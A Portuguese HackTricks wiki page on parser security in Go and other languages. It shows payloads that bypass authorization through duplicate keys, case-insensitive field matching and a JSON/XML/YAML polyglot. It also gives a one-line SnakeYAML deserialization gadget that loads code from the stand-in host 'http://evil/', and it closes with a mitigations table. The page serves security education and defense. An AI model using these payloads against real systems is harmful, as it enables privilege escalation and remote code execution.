mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
166 lines
6.3 KiB
Markdown
166 lines
6.3 KiB
Markdown
# JSON, XML & Yaml Hacking & Issues
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Go JSON Decoder
|
||
|
||
Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em [**este post no blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||
|
||
Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **burlar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**.
|
||
|
||
### (Un)Marshaling Dados Inesperados
|
||
|
||
O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, `IsAdmin`, `Password`).
|
||
|
||
- Exemplo de Struct:
|
||
```go
|
||
type User struct {
|
||
Username string `json:"username,omitempty"`
|
||
Password string `json:"password,omitempty"`
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
- Vulnerabilidades Comuns
|
||
|
||
1. **Tag ausente** (sem tag = campo ainda é analisado por padrão):
|
||
```go
|
||
type User struct {
|
||
Username string
|
||
}
|
||
```
|
||
Carga útil:
|
||
```json
|
||
{"Username": "admin"}
|
||
```
|
||
2. **Uso incorreto de `-`**:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||
}
|
||
```
|
||
Carga útil:
|
||
```json
|
||
{"-": true}
|
||
```
|
||
✔️ Maneira adequada de bloquear campo de ser (des)serializado:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
### Diferenças de Parser
|
||
|
||
O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em:
|
||
- CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas
|
||
- 2022: RCE 0-click do Zoom via inconsistência do parser XML
|
||
- GitLab 2025 contorno SAML via peculiaridades do XML
|
||
|
||
**1. Campos Duplicados:**
|
||
O `encoding/json` do Go pega o **último** campo.
|
||
```go
|
||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||
fmt.Println(req.Action) // AdminAction
|
||
```
|
||
Outros analisadores (por exemplo, Jackson do Java) podem levar o **primeiro**.
|
||
|
||
**2. Insensibilidade a Maiúsculas e Minúsculas:**
|
||
Go é insensível a maiúsculas e minúsculas:
|
||
```go
|
||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||
// matches `Action` field
|
||
```
|
||
Até truques de Unicode funcionam:
|
||
```go
|
||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||
```
|
||
**3. Incompatibilidade entre serviços:**
|
||
Imagine:
|
||
- Proxy escrito em Go
|
||
- Serviço de AuthZ escrito em Python
|
||
|
||
O atacante envia:
|
||
```json
|
||
{
|
||
"action": "UserAction",
|
||
"AcTiOn": "AdminAction"
|
||
}
|
||
```
|
||
- Python vê `UserAction`, permite
|
||
- Go vê `AdminAction`, executa
|
||
|
||
|
||
### Confusão de Formato de Dados (Poliglotas)
|
||
|
||
O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como:
|
||
- **CVE-2020-16250**: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML.
|
||
|
||
O atacante controla:
|
||
- O cabeçalho `Accept: application/json`
|
||
- Controle parcial do corpo JSON
|
||
|
||
O parser XML do Go analisou **de qualquer forma** e confiou na identidade injetada.
|
||
|
||
- Payload elaborado:
|
||
```json
|
||
{
|
||
"action": "Action_1",
|
||
"AcTiOn": "Action_2",
|
||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||
}
|
||
```
|
||
Resultado:
|
||
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
|
||
- **YAML** parser: `Action_1` (case-sensitive)
|
||
- **XML** parser: parses `"Action_3"` dentro da string
|
||
|
||
---
|
||
|
||
## Vulnerabilidades Notáveis de Parser (2023-2025)
|
||
|
||
> Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go.
|
||
|
||
### Deserialização RCE do SnakeYAML (CVE-2022-1471)
|
||
|
||
* Afeta: `org.yaml:snakeyaml` < **2.0** (usado pelo Spring-Boot, Jenkins, etc.).
|
||
* Causa raiz: `new Constructor()` deserializa **classes Java arbitrárias**, permitindo cadeias de gadgets que culminam em execução remota de código.
|
||
* PoC de uma linha (abrirá a calculadora no host vulnerável):
|
||
```yaml
|
||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||
```
|
||
* Correção / Mitigação:
|
||
1. **Atualizar para ≥2.0** (usa `SafeLoader` por padrão).
|
||
2. Em versões mais antigas, use explicitamente `new Yaml(new SafeConstructor())`.
|
||
|
||
### libyaml Double-Free (CVE-2024-35325)
|
||
|
||
* Afeta: `libyaml` ≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem).
|
||
* Problema: Chamar `yaml_event_delete()` duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap.
|
||
* Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida **0.2.6** que libera defensivamente o ponteiro.
|
||
|
||
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||
|
||
* Afeta: Tencent **RapidJSON** antes do commit `8269bc2` (<1.1.0-patch-22).
|
||
* Bug: Em `GenericReader::ParseNumber()`, a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap — permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização.
|
||
|
||
---
|
||
|
||
### 🔐 Mitigações (Atualizado)
|
||
|
||
| Risco | Correção / Recomendação |
|
||
|-------------------------------------|------------------------------------------------------------|
|
||
| Campos desconhecidos (JSON) | `decoder.DisallowUnknownFields()` |
|
||
| Campos duplicados (JSON) | ❌ Sem correção na stdlib — valide com [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||
| Correspondência sem distinção de maiúsculas (Go) | ❌ Sem correção — valide tags de estrutura + pré-canonize a entrada |
|
||
| Dados lixo XML / XXE | Use um parser endurecido (`encoding/xml` + `DisallowDTD`) |
|
||
| Chaves desconhecidas YAML | `yaml.KnownFields(true)` |
|
||
| **Desserialização YAML insegura** | Use SafeConstructor / atualize para SnakeYAML ≥2.0 |
|
||
| libyaml ≤0.2.5 double-free | Atualize para **0.2.6** ou versão corrigida da distro |
|
||
| RapidJSON <commit corrigido | Compile contra a versão mais recente do RapidJSON (≥Julho 2024) |
|
||
|
||
## Referências
|
||
|
||
- Baeldung – “Resolvendo CVE-2022-1471 Com SnakeYAML 2.0”
|
||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|